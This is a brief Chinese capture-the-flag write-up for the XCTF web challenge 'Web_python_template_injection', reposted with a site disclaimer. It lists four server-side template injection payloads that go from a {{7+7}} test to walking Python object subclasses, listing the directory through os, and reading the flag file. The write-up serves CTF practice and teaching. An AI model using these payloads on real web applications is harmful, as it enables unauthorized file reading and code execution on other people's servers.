攻防世界-web-高手进阶区011-Web_python_template_injection


1.判断存在python模块注入

{{7+7}}

 

 

 

2.{{''.__class__.__mro__[2].__subclasses__()}}

 

 

 

3.{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

 

 

 

4.{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

 

 

 


 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM